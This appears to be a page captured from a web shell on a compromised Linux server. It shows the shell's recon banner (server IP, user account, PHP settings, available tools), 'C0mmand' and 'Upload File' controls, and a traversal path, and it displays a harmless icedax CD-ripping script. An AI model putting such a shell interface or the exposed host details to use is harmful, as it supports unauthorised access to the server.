|
Server IP : 37.60.233.201 / Your IP : 216.73.216.23 Web Server : Apache System : Linux host.ivahost.com 4.18.0-553.107.1.lve.el8.x86_64 #1 SMP Tue Feb 24 21:12:31 UTC 2026 x86_64 User : dcaksa ( 1043) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0555) : /etc/scl/../.java/../systemd/../motd.d/../../bin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
#! /bin/sh
#
# Script to read more than 1 song with icedax
# Each file gets an individual name from the command line
#
# based on a perl script from Matthias Schniedermeyer
#
# usage: readmult <track a> <title a> <track b> <title b> ...
#
# example: readmult 1 intro 3 lovesong 5 medley
# will produce a file named intro.wav for track 1,
# a file named lovesong.wav for track 3, and
# a file named medley.wav for track 5.
#
CDDA2WAV=icedax
CDDA2WAVOPTS="-P0"
if [ $(( $# % 2 )) -eq 0 ]; then
while [ $# -ge 2 ]; do
$CDDA2WAV $CDDA2WAVOPTS -Owav -t $1 $PREFIX$2".wav"
RES=$?
if [ $RES -ne 0 ]; then
echo "$CDDA2WAV error, return value "$RES". Aborted." >&2
break
fi
shift 2
done
else
echo "usage: $0 [<Tracknr> <Filename>] ..." >&2
fi